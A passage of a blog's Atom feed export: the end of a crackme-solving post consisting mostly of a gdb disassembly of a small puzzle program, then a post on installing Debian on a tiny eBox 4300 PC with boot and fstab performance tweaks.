&amp;lt;main+71&amp;gt;:   call   0x8048348 &amp;lt;time@plt&amp;gt;&lt;br /&gt;0x08048520 &amp;lt;main+76&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;0x08048523 &amp;lt;main+79&amp;gt;:   call   0x8048388 &amp;lt;srand@plt&amp;gt;&lt;br /&gt;0x08048528 &amp;lt;main+84&amp;gt;:   movl   $0x5,0x8049b70&lt;br /&gt;0x08048532 &amp;lt;main+94&amp;gt;:   call   0x80483a8 &amp;lt;rand@plt&amp;gt;&lt;br /&gt;0x08048537 &amp;lt;main+99&amp;gt;:   mov    %eax,%ecx&lt;br /&gt;0x08048539 &amp;lt;main+101&amp;gt;:  mov    $0x84210843,%eax&lt;br /&gt;0x0804853e &amp;lt;main+106&amp;gt;:  imul   %ecx&lt;br /&gt;0x08048540 &amp;lt;main+108&amp;gt;:  lea    (%edx,%ecx,1),%eax&lt;br /&gt;0x08048543 &amp;lt;main+111&amp;gt;:  mov    %eax,%edx&lt;br /&gt;0x08048545 &amp;lt;main+113&amp;gt;:  sar    $0x5,%edx&lt;br /&gt;0x08048548 &amp;lt;main+116&amp;gt;:  mov    %ecx,%eax&lt;br /&gt;0x0804854a &amp;lt;main+118&amp;gt;:  sar    $0x1f,%eax&lt;br /&gt;0x0804854d &amp;lt;main+121&amp;gt;:  sub    %eax,%edx&lt;br /&gt;0x0804854f &amp;lt;main+123&amp;gt;:  mov    %edx,%eax&lt;br /&gt;0x08048551 &amp;lt;main+125&amp;gt;:  mov    %eax,0x8049aa8&lt;br /&gt;0x08048556 &amp;lt;main+130&amp;gt;:  mov    0x8049aa8,%edx&lt;br /&gt;0x0804855c &amp;lt;main+136&amp;gt;:  mov    %edx,%eax&lt;br /&gt;0x0804855e &amp;lt;main+138&amp;gt;:  shl    $0x5,%eax&lt;br /&gt;0x08048561 &amp;lt;main+141&amp;gt;:  sub    %edx,%eax&lt;br /&gt;0x08048563 &amp;lt;main+143&amp;gt;:  add    %eax,%eax&lt;br /&gt;0x08048565 &amp;lt;main+145&amp;gt;:  sub    %eax,%ecx&lt;br /&gt;0x08048567 &amp;lt;main+147&amp;gt;:  mov    %ecx,%eax&lt;br /&gt;0x08048569 &amp;lt;main+149&amp;gt;:  mov    %eax,0x8049aa8&lt;br /&gt;0x0804856e &amp;lt;main+154&amp;gt;:  cmpl   $0x2,0x8(%ebp)&lt;br /&gt;0x08048572 &amp;lt;main+158&amp;gt;:  je     0x804858e &amp;lt;main+186&amp;gt;&lt;br /&gt;0x08048574 &amp;lt;main+160&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x08048577 &amp;lt;main+163&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x08048579 &amp;lt;main+165&amp;gt;:  mov    %eax,0x4(%esp)&lt;br /&gt;0x0804857d &amp;lt;main+169&amp;gt;:  movl   $0x80488a0,(%esp)&lt;br /&gt;0x08048584 &amp;lt;main+176&amp;gt;:  call   0x8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;0x08048589 &amp;lt;main+181&amp;gt;:  jmp    0x80487a6 &amp;lt;main+722&amp;gt;&lt;br /&gt;0x0804858e &amp;lt;main+186&amp;gt;:  movl   $0x80488c9,(%esp)&lt;br /&gt;0x08048595 &amp;lt;main+193&amp;gt;:  call   0x8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;0x0804859a &amp;lt;main+198&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x0804859d &amp;lt;main+201&amp;gt;:  add    $0x4,%eax&lt;br /&gt;0x080485a0 &amp;lt;main+204&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x080485a2 &amp;lt;main+206&amp;gt;:  mov    %eax,(%esp)&lt;br /&gt;0x080485a5 &amp;lt;main+209&amp;gt;:  call   0x8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt;0x080485aa &amp;lt;main+214&amp;gt;:  cmp    $0x3,%eax&lt;br /&gt;0x080485ad &amp;lt;main+217&amp;gt;:  ja     0x80485c8 &amp;lt;main+244&amp;gt;&lt;br /&gt;0x080485af &amp;lt;main+219&amp;gt;:  movl   $0x4,0x4(%esp)&lt;br /&gt;0x080485b7 &amp;lt;main+227&amp;gt;:  movl   $0x80488d6,(%esp)&lt;br /&gt;0x080485be &amp;lt;main+234&amp;gt;:  call   0x8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;0x080485c3 &amp;lt;main+239&amp;gt;:  jmp    0x804879d &amp;lt;main+713&amp;gt;&lt;br /&gt;0x080485c8 &amp;lt;main+244&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x080485cb &amp;lt;main+247&amp;gt;:  add    $0x4,%eax&lt;br /&gt;0x080485ce &amp;lt;main+250&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x080485d0 &amp;lt;main+252&amp;gt;:  mov    %eax,(%esp)&lt;br /&gt;0x080485d3 &amp;lt;main+255&amp;gt;:  call   0x8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt;0x080485d8 &amp;lt;main+260&amp;gt;:  cmp    $0x4f,%eax&lt;br /&gt;0x080485db &amp;lt;main+263&amp;gt;:  jbe    0x8048609 &amp;lt;main+309&amp;gt;&lt;br /&gt;0x080485dd &amp;lt;main+265&amp;gt;:  movl   $0x50,0x8049aac&lt;br /&gt;0x080485e7 &amp;lt;main+275&amp;gt;:  movl   $0x50,0x8(%esp)&lt;br /&gt;0x080485ef &amp;lt;main+283&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x080485f2 &amp;lt;main+286&amp;gt;:  add    $0x4,%eax&lt;br /&gt;0x080485f5 &amp;lt;main+289&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x080485f7 &amp;lt;main+291&amp;gt;:  mov    %eax,0x4(%esp)&lt;br /&gt;0x080485fb &amp;lt;main+295&amp;gt;:  movl   $0x8049ac0,(%esp)&lt;br /&gt;0x08048602 &amp;lt;main+302&amp;gt;:  call   0x8048398 &amp;lt;strncpy@plt&amp;gt;&lt;br /&gt;0x08048607 &amp;lt;main+307&amp;gt;:  jmp    0x804863e &amp;lt;main+362&amp;gt;&lt;br /&gt;0x08048609 &amp;lt;main+309&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x0804860c &amp;lt;main+312&amp;gt;:  add    $0x4,%eax&lt;br /&gt;0x0804860f &amp;lt;main+315&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x08048611 &amp;lt;main+317&amp;gt;:  mov    %eax,(%esp)&lt;br /&gt;0x08048614 &amp;lt;main+320&amp;gt;:  call   0x8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt;0x08048619 &amp;lt;main+325&amp;gt;:  mov    %eax,0x8049aac&lt;br /&gt;0x0804861e &amp;lt;main+330&amp;gt;:  movl   $0x50,0x8(%esp)&lt;br /&gt;0x08048626 &amp;lt;main+338&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x08048629 &amp;lt;main+341&amp;gt;:  add    $0x4,%eax&lt;br /&gt;0x0804862c &amp;lt;main+344&amp;gt;:  mov    (%eax),%eax&lt;br /&gt;0x0804862e &amp;lt;main+346&amp;gt;:  mov    %eax,0x4(%esp)&lt;br /&gt;0x08048632 &amp;lt;main+350&amp;gt;:  movl   $0x8049ac0,(%esp)&lt;br /&gt;0x08048639 &amp;lt;main+357&amp;gt;:  call   0x8048398 &amp;lt;strncpy@plt&amp;gt;&lt;br /&gt;0x0804863e &amp;lt;main+362&amp;gt;:  movl   $0x0,0x8049b10&lt;br /&gt;0x08048648 &amp;lt;main+372&amp;gt;:  mov    0x8049b10,%eax&lt;br /&gt;0x0804864d &amp;lt;main+377&amp;gt;:  cmp    0x8049aac,%eax&lt;br /&gt;0x08048653 &amp;lt;main+383&amp;gt;:  jle    0x8048657 &amp;lt;main+387&amp;gt;&lt;br /&gt;0x08048655 &amp;lt;main+385&amp;gt;:  jmp    0x804866c &amp;lt;main+408&amp;gt;&lt;br /&gt;0x08048657 &amp;lt;main+387&amp;gt;:  mov    0x8049b10,%eax&lt;br /&gt;0x0804865c &amp;lt;main+392&amp;gt;:  add    $0x8049b20,%eax&lt;br /&gt;0x08048661 &amp;lt;main+397&amp;gt;:  movb   $0x30,(%eax)&lt;br /&gt;0x08048664 &amp;lt;main+400&amp;gt;:  incl   0x8049b10&lt;br /&gt;0x0804866a &amp;lt;main+406&amp;gt;:  jmp    0x8048648 &amp;lt;main+372&amp;gt;&lt;br /&gt;0x0804866c &amp;lt;main+408&amp;gt;:  mov    0x8049aac,%eax&lt;br /&gt;0x08048671 &amp;lt;main+413&amp;gt;:  add    $0x8049b21,%eax&lt;br /&gt;0x08048676 &amp;lt;main+418&amp;gt;:  movb   $0x0,(%eax)&lt;br /&gt;0x08048679 &amp;lt;main+421&amp;gt;:  movl   $0x0,0x8049b10&lt;br /&gt;0x08048683 &amp;lt;main+431&amp;gt;:  mov    0x8049aa8,%eax&lt;br /&gt;0x08048688 &amp;lt;main+436&amp;gt;:  add    $0x8049a40,%eax&lt;br /&gt;0x0804868d &amp;lt;main+441&amp;gt;:  movzbl (%eax),%eax&lt;br /&gt;0x08048690 &amp;lt;main+444&amp;gt;:  mov    %al,0x8049b21&lt;br /&gt;0x08048695 &amp;lt;main+449&amp;gt;:  movl   $0x0,0x8049b10&lt;br /&gt;0x0804869f &amp;lt;main+459&amp;gt;:  mov    0x8049b10,%eax&lt;br /&gt;0x080486a4 &amp;lt;main+464&amp;gt;:  cmp    0x8049aac,%eax&lt;br /&gt;0x080486aa &amp;lt;main+470&amp;gt;:  jl     0x80486b1 &amp;lt;main+477&amp;gt;&lt;br /&gt;0x080486ac &amp;lt;main+472&amp;gt;:  jmp    0x804877c &amp;lt;main+680&amp;gt;&lt;br /&gt;0x080486b1 &amp;lt;main+477&amp;gt;:  mov    0x8049aac,%eax&lt;br /&gt;0x080486b6 &amp;lt;main+482&amp;gt;:  mov    %eax,0x4(%esp)&lt;br /&gt;0x080486ba &amp;lt;main+486&amp;gt;:  mov    0x8049ab4,%eax&lt;br /&gt;0x080486bf &amp;lt;main+491&amp;gt;:  add    0x8049aa0,%eax&lt;br /&gt;0x080486c5 &amp;lt;main+497&amp;gt;:  mov    %eax,(%esp)&lt;br /&gt;0x080486c8 &amp;lt;main+500&amp;gt;:  call   0x8048484 &amp;lt;vacia&amp;gt;&lt;br /&gt;0x080486cd &amp;lt;main+505&amp;gt;:  mov    %eax,0x8049aa0&lt;br /&gt;0x080486d2 &amp;lt;main+510&amp;gt;:  movl   $0x0,0x8049aa4&lt;br /&gt;0x080486dc &amp;lt;main+520&amp;gt;:  movl   $0x8049a40,(%esp)&lt;br /&gt;0x080486e3 &amp;lt;main+527&amp;gt;:  call   0x8048358 &amp;lt;strlen@plt&amp;gt;&lt;br /&gt;0x080486e8 &amp;lt;main+532&amp;gt;:  cmp    %eax,0x8049aa4&lt;br /&gt;0x080486ee &amp;lt;main+538&amp;gt;:  jb     0x80486f2 &amp;lt;main+542&amp;gt;&lt;br /&gt;0x080486f0 &amp;lt;main+540&amp;gt;:  jmp    0x8048719 &amp;lt;main+581&amp;gt;&lt;br /&gt;0x080486f2 &amp;lt;main+542&amp;gt;:  mov    0x8049aa4,%eax&lt;br /&gt;0x080486f7 &amp;lt;main+547&amp;gt;:  add    $0x8049a40,%eax&lt;br /&gt;0x080486fc &amp;lt;main+552&amp;gt;:  mov    0x8049b74,%edx&lt;br /&gt;0x08048702 &amp;lt;main+558&amp;gt;:  add    $0x8049ac0,%edx&lt;br /&gt;0x08048708 &amp;lt;main+564&amp;gt;:  movzbl (%eax),%eax&lt;br /&gt;0x0804870b &amp;lt;main+567&amp;gt;:  cmp    (%edx),%al&lt;br /&gt;0x0804870d &amp;lt;main+569&amp;gt;:  jne    0x8048711 &amp;lt;main+573&amp;gt;&lt;br /&gt;0x0804870f &amp;lt;main+571&amp;gt;:  jmp    0x8048719 &amp;lt;main+581&amp;gt;&lt;br /&gt;0x08048711 &amp;lt;main+573&amp;gt;:  incl   0x8049aa4&lt;br /&gt;0x08048717 &amp;lt;main+579&amp;gt;:  jmp    0x80486dc &amp;lt;main+520&amp;gt;&lt;br /&gt;0x08048719 &amp;lt;main+581&amp;gt;:  mov    0x8049aa0,%ebx&lt;br /&gt;0x0804871f &amp;lt;main+587&amp;gt;:  add    $0x8049b20,%ebx&lt;br /&gt;0x08048725 &amp;lt;main+593&amp;gt;:  mov    0x8049aa8,%eax&lt;br /&gt;0x0804872a &amp;lt;main+598&amp;gt;:  add    0x8049aa4,%eax&lt;br /&gt;0x08048730 &amp;lt;main+604&amp;gt;:  mov    %eax,%ecx&lt;br /&gt;0x08048732 &amp;lt;main+606&amp;gt;:  add    0x8049b70,%ecx&lt;br /&gt;0x08048738 &amp;lt;main+612&amp;gt;:  mov    $0x84210843,%eax&lt;br /&gt;0x0804873d &amp;lt;main+617&amp;gt;:  imul   %ecx&lt;br /&gt;0x0804873f &amp;lt;main+619&amp;gt;:  lea    (%edx,%ecx,1),%eax&lt;br /&gt;0x08048742 &amp;lt;main+622&amp;gt;:  mov    %eax,%edx&lt;br /&gt;0x08048744 &amp;lt;main+624&amp;gt;:  sar    $0x5,%edx&lt;br /&gt;0x08048747 &amp;lt;main+627&amp;gt;:  mov    %ecx,%eax&lt;br /&gt;0x08048749 &amp;lt;main+629&amp;gt;:  sar    $0x1f,%eax&lt;br /&gt;0x0804874c &amp;lt;main+632&amp;gt;:  sub    %eax,%edx&lt;br /&gt;0x0804874e &amp;lt;main+634&amp;gt;:  mov    %edx,%eax&lt;br /&gt;0x08048750 &amp;lt;main+636&amp;gt;:  shl    $0x5,%eax&lt;br /&gt;0x08048753 &amp;lt;main+639&amp;gt;:  sub    %edx,%eax&lt;br /&gt;0x08048755 &amp;lt;main+641&amp;gt;:  add    %eax,%eax&lt;br /&gt;0x08048757 &amp;lt;main+643&amp;gt;:  sub    %eax,%ecx&lt;br /&gt;0x08048759 &amp;lt;main+645&amp;gt;:  mov    %ecx,%eax&lt;br /&gt;0x0804875b &amp;lt;main+647&amp;gt;:  movzbl 0x8049a40(%eax),%eax&lt;br /&gt;0x08048762 &amp;lt;main+654&amp;gt;:  mov    %al,(%ebx)&lt;br /&gt;0x08048764 &amp;lt;main+656&amp;gt;:  incl   0x8049b74&lt;br /&gt;0x0804876a &amp;lt;main+662&amp;gt;:  addl   $0x5,0x8049b70&lt;br /&gt;0x08048771 &amp;lt;main+669&amp;gt;:  incl   0x8049b10&lt;br /&gt;0x08048777 &amp;lt;main+675&amp;gt;:  jmp    0x804869f &amp;lt;main+459&amp;gt;&lt;br /&gt;0x0804877c &amp;lt;main+680&amp;gt;:  mov    0x8049aac,%eax&lt;br /&gt;0x08048781 &amp;lt;main+685&amp;gt;:  add    $0x8049b21,%eax&lt;br /&gt;0x08048786 &amp;lt;main+690&amp;gt;:  movb   $0x0,(%eax)&lt;br /&gt;0x08048789 &amp;lt;main+693&amp;gt;:  movl   $0x8049b20,0x4(%esp)&lt;br /&gt;0x08048791 &amp;lt;main+701&amp;gt;:  movl   $0x80488ee,(%esp)&lt;br /&gt;0x08048798 &amp;lt;main+708&amp;gt;:  call   0x8048378 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;0x0804879d &amp;lt;main+713&amp;gt;:  movl   $0x0,0xfffffff4(%ebp)&lt;br /&gt;0x080487a4 &amp;lt;main+720&amp;gt;:  jmp    0x80487a6 &amp;lt;main+722&amp;gt;&lt;br /&gt;0x080487a6 &amp;lt;main+722&amp;gt;:  mov    0xfffffff4(%ebp),%eax&lt;br /&gt;0x080487a9 &amp;lt;main+725&amp;gt;:  mov    0xfffffffc(%ebp),%ebx&lt;br /&gt;0x080487ac &amp;lt;main+728&amp;gt;:  leave  &lt;br /&gt;0x080487ad &amp;lt;main+729&amp;gt;:  ret    &lt;br /&gt;End of assembler dump.&lt;br /&gt;Dump of assembler code for function vacia:&lt;br /&gt;0x08048484 &amp;lt;vacia+0&amp;gt;:   push   %ebp&lt;br /&gt;0x08048485 &amp;lt;vacia+1&amp;gt;:   mov    %esp,%ebp&lt;br /&gt;0x08048487 &amp;lt;vacia+3&amp;gt;:   sub    $0xc,%esp&lt;br /&gt;0x0804848a &amp;lt;vacia+6&amp;gt;:   mov    0x8(%ebp),%eax&lt;br /&gt;0x0804848d &amp;lt;vacia+9&amp;gt;:   cmp    0xc(%ebp),%eax&lt;br /&gt;0x08048490 &amp;lt;vacia+12&amp;gt;:  jle    0x804849e &amp;lt;vacia+26&amp;gt;&lt;br /&gt;0x08048492 &amp;lt;vacia+14&amp;gt;:  mov    0xc(%ebp),%edx&lt;br /&gt;0x08048495 &amp;lt;vacia+17&amp;gt;:  mov    0x8(%ebp),%eax&lt;br /&gt;0x08048498 &amp;lt;vacia+20&amp;gt;:  sub    %edx,%eax&lt;br /&gt;0x0804849a &amp;lt;vacia+22&amp;gt;:  dec    %eax&lt;br /&gt;0x0804849b &amp;lt;vacia+23&amp;gt;:  mov    %eax,0x8(%ebp)&lt;br /&gt;0x0804849e &amp;lt;vacia+26&amp;gt;:  mov    0x8(%ebp),%eax&lt;br /&gt;0x080484a1 &amp;lt;vacia+29&amp;gt;:  add    $0x8049b20,%eax&lt;br /&gt;0x080484a6 &amp;lt;vacia+34&amp;gt;:  cmpb   $0x30,(%eax)&lt;br /&gt;0x080484a9 &amp;lt;vacia+37&amp;gt;:  jne    0x80484b3 &amp;lt;vacia+47&amp;gt;&lt;br /&gt;0x080484ab &amp;lt;vacia+39&amp;gt;:  mov    0x8(%ebp),%eax&lt;br /&gt;0x080484ae &amp;lt;vacia+42&amp;gt;:  mov    %eax,0xfffffffc(%ebp)&lt;br /&gt;0x080484b1 &amp;lt;vacia+45&amp;gt;:  jmp    0x80484cf &amp;lt;vacia+75&amp;gt;&lt;br /&gt;0x080484b3 &amp;lt;vacia+47&amp;gt;:  mov    0xc(%ebp),%eax&lt;br /&gt;0x080484b6 &amp;lt;vacia+50&amp;gt;:  mov    %eax,0x4(%esp)&lt;br /&gt;0x080484ba &amp;lt;vacia+54&amp;gt;:  mov    0x8(%ebp),%eax&lt;br /&gt;0x080484bd &amp;lt;vacia+57&amp;gt;:  inc    %eax&lt;br /&gt;0x080484be &amp;lt;vacia+58&amp;gt;:  mov    %eax,(%esp)&lt;br /&gt;0x080484c1 &amp;lt;vacia+61&amp;gt;:  call   0x8048484 &amp;lt;vacia&amp;gt;&lt;br /&gt;0x080484c6 &amp;lt;vacia+66&amp;gt;:  mov    %eax,0x8(%ebp)&lt;br /&gt;0x080484c9 &amp;lt;vacia+69&amp;gt;:  mov    0x8(%ebp),%eax&lt;br /&gt;0x080484cc &amp;lt;vacia+72&amp;gt;:  mov    %eax,0xfffffffc(%ebp)&lt;br /&gt;0x080484cf &amp;lt;vacia+75&amp;gt;:  mov    0xfffffffc(%ebp),%eax&lt;br /&gt;0x080484d2 &amp;lt;vacia+78&amp;gt;:  leave  &lt;br /&gt;0x080484d3 &amp;lt;vacia+79&amp;gt;:  ret    &lt;br /&gt;End of assembler dump.&lt;/pre&gt;&lt;span class="anchor" id="line-671"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-672"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="InterestingLinks"&gt;Interesting Links&lt;/h2&gt;&lt;span class="anchor" id="line-673"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="http" href="http://www.crackmes.de/"&gt;http://www.crackmes.de&lt;/a&gt; &lt;span class="anchor" id="line-674"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="http" href="http://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=dp_ob_title_bk/189-4244395-0066431"&gt;http://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=dp_ob_title_bk/189-4244395-0066431&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-1211419153807707444?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/1211419153807707444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/i-solved-crackme.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/1211419153807707444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/1211419153807707444'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/i-solved-crackme.html' title='I solved a crackme!'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-7640470739427603820</id><published>2010-11-27T21:23:00.002-05:00</published><updated>2011-01-23T01:31:02.393-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='norhtec'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='ebox'/><title type='text'>ebox 4300</title><content type='html'>&lt;h1 id="WhoIam.3F"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;On a certain day a friend* of mine showed me a smaller-than-a-tinny-tupperware box and claimed It was a fully functional PC! &lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Description"&gt;Description&lt;/h2&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;In order to believe him I bought this little piece of hardware which is the "server" you were connecting right when visiting the old wiki.eslimasec.com site. &lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;img alt="DSC01132.JPG" class="attachment" src="http://wiki.eslimasec.com/esliwiki/IamEBOX4300Post?action=AttachFile&amp;amp;do=get&amp;amp;target=DSC01132.JPG" title="DSC01132.JPG" /&gt; &lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;As you can see I its so small and its based on a non-mobile-parts design: &lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;No hardrive (its optional). &lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;No noisy fan. &lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Compact flash bay (card not included). &lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Video card, 3 usb ports, 1 ps2 port &lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Ethernet port and wifi (optional) &lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Via Eden 500 Mhz &amp;amp; 512 MB RAM (included!!:) &lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;img alt="DSC01133.JPG" class="attachment" src="http://wiki.eslimasec.com/esliwiki/IamEBOX4300Post?action=AttachFile&amp;amp;do=get&amp;amp;target=DSC01133.JPG" title="DSC01133.JPG" /&gt; &lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="InstallingDebian"&gt;Installing Debian&lt;/h2&gt;&lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;So as you  might guess you can run linux in a compact flash card. I chose Debian,  among the possible installing options I took a netinstall one based on a  booting pendrive. In order to achieve this you can follow this howto: &lt;a class="http" href="http://www.debian.org/releases/etch/i386/ch04s04.html.en"&gt;http://www.debian.org/releases/etch/i386/ch04s04.html.en&lt;/a&gt; following the steps from chapter 4.4.2. to 4.4.4. &lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;The  problems you might get are that when booting the pendrive It might not  detect your Compact Flash Card reader and the card inside. I managed it  to work by using the following files in the root of an already  partitioned fat16 pendrive: &lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;initrd.gz &lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;ldlinux.sys &lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;mini.iso &lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;syslinux.cfg &lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;vmlinuz &lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line862"&gt;You can get all these files I used in the following compressed file &lt;a class="attachment" href="http://wiki.eslimasec.com/esliwiki/IamEBOX4300Post?action=AttachFile&amp;amp;do=view&amp;amp;target=Ebox4300_Deb_netinst_files.rar" title="attachment:Ebox4300_Deb_netinst_files.rar"&gt;Ebox4300_Deb_netinst_files.rar&lt;/a&gt; .  Don't forget running syslinux command as the howto suggests! &lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;With all said you can get your compact flash card recognized by the system and proceed to install Debian on it &lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;img alt="DSC01130.JPG" class="attachment" src="http://wiki.eslimasec.com/esliwiki/IamEBOX4300Post?action=AttachFile&amp;amp;do=get&amp;amp;target=DSC01130.JPG" title="DSC01130.JPG" /&gt; &lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Tweakingforperformance"&gt;Tweaking for performance&lt;/h2&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;After the  installation I applied the following tweaks to improve the performance  having in mind that this machine's physical drive is just a compact  flash memory and therefore does not have the i/o capacity of a  traditional hard drive. &lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Edit file /boot/grub/menu.lst as follows (elevator parameter for the kernel being started at boot time) &lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;...&lt;br /&gt;title           Debian GNU/Linux, kernel 2.6.18-6-686&lt;br /&gt;root            (hd0,1)&lt;br /&gt;kernel          /boot/vmlinuz-2.6.18-6-686 root=/dev/hdc2 ro vga=791 '''elevator=noop'''&lt;br /&gt;initrd          /boot/initrd.img-2.6.18-6-686&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Edit the file  /etc/fstab, and instruct debian to mount /tmp and /var/tmp files in RAM  memory. Some howtos recommend /var/log as well but then all the logs  generated wont be kept after a reboot (hmm I would ask tmpfs developpers  that maybe would be a good idea to allow changes to be written to  permanent storage when poweroff or reboot is issued. Observe the noatime  option as well that will prevent debian to change file access time  everytime a file is accessed (maybe in a forensic scenario this is not  good, but in my case hopefully no "crime" is committed here!!) &lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;span class="anchor" 